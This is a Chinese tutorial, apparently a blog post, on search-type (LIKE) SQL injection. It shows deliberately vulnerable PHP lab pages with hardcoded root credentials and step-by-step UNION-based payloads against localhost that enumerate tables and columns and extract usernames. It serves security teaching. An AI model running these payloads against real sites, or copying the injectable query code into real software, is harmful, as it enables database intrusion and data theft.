SQL注入——搜索型注入

搜索型注入——原理介绍

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;

其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入。

图片.png

一般后台搜索组合的SQL语句如下:

$sql = "select * from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

ryan'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";

此时就存在SQL注入。

# mysql模糊查询

like 匹配/模糊匹配,会与 % 和 _ 结合使用。

'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据
'_a_'    //三位且中间字母是a的
'_a'     //两位且结尾字母是a的
'a_'     //两位且开头字母是a的

查询以 java 字段开头的信息。

SELECT * FROM position WHERE name LIKE 'java%';

查询包含 java 字段的信息。

SELECT * FROM position WHERE name LIKE '%java%';

查询以 java 字段结尾的信息。

SELECT * FROM position WHERE name LIKE '%java';

# 搜索型注入——注入判断

1.搜索 keywords' ,如果出错的话,有90%的可能性存在注入;

2.搜索 keywords%' and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;

3.搜索 keywords%' and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;

4.根据2和3的返回情况来判断是不是搜索型文本框注入了。

以下几种语句也都可以:

'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='

# 搜索型注入—GET型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
  $pwd = $_GET['pwd'];
  $conn = mysql_connect("127.0.0.1:8889","root","root");
  if($conn){
    echo "连接数据库成功!";
  }
  echo "<br>";
  mysql_select_db('ryan',$conn); 
  $sql = "select * from user where password like '%$pwd%' order by password";
  $result = mysql_query($sql);
  $row = mysql_fetch_array($result);
  if($row){
    echo "用户ID:".$row['id']."<br>";
    echo "用户名:".$row['username']."<br>";
    echo "用户密码:".$row['password']."<br>";
    echo "用户邮箱:".$row['email']."<br>";
  }else{
    print_r(mysql_error());
  }
  mysql_close($conn);
  echo "<hr>";
  echo "你当前执行的sql语句为:"."<br>";
  echo $sql;
​
 ?>

1.访问靶场

图片.png

2.输入正常关键字进行查询

http://localhost:8888/get.php?pwd=ryan

图片.png

3.加单引号进行尝试

http://localhost:8888/get.php?pwd=ryan'

图片.png

加单引号出现报错,报错中出现 % 号,猜测可能为搜索型注入

4.使用以下payload进行测试

http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
或者
http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+

图片.png

正常显示

5.继续尝试以下payload

http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='

图片.png

无内容显示

通过以上测试,证明存在SQL注入漏洞

6.使用 order by 判断列数

http://localhost:8888/get.php?pwd=ryan%' order by 5 --+

图片.png

order by 5时,报错

http://localhost:8888/get.php?pwd=ryan%' order by 4 --+

图片.png

order by 4 时,正常显示

说明该数据表列数为4

7.判断回显位

http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+

8.获取数据库名

http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+

图片.png

9.获取表名

http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+

图片.png

10.获取列名

http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+

图片.png

11.获取数据

http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+

图片.png

# 搜索型注入—POST型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
  $id = $_POST['id'];
  $conn = mysql_connect("127.0.0.1:8889","root","root");
  if($conn){
    echo "连接数据库成功!";
  }
  echo "<br>";
  mysql_select_db('ryan',$conn); 
  $sql = "select * from user where id like '%$id%' order by id";
  $result = mysql_query($sql);
  $row = mysql_fetch_array($result);
  if($row){
    echo "用户ID:".$row['id']."<br>";
    echo "用户名:".$row['username']."<br>";
    echo "用户密码:".$row['password']."<br>";
    echo "用户邮箱:".$row['email']."<br>";
  }else{
    print_r(mysql_error());
  }
  mysql_close($conn);
  echo "<hr>";
  echo "你当前执行的sql语句为:"."<br>";
  echo $sql;
​
 ?>
​
<form action="" method="POST">
  id:<input name="id" type="text" /><br><br>  
  <input name="" type="submit" value="提交" />  
</form>

1.访问靶场 

图片.png

2.正常查询id,使用burp抓包 

图片.png

3.加单引号进行尝试

id=1'

图片.png

出现报错,且报错中出现 % 号,猜测是搜索型注入

4.使用以下payload进行测试

id=1%' and 1=1 --+

图片.png

正常显示

id=1%' and 1=2 --+

图片.png

无显示,判断存在注入

5.使用order by 判断列数

id=1%' order by 5 --+

图片.png

id=1%' order by 4 --+

图片.png

说明该表列数为4

6.判断回显位

id=abc%' union select 1,2,3,4 --+

图片.png

其他操作跟以上GET型案例相同

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值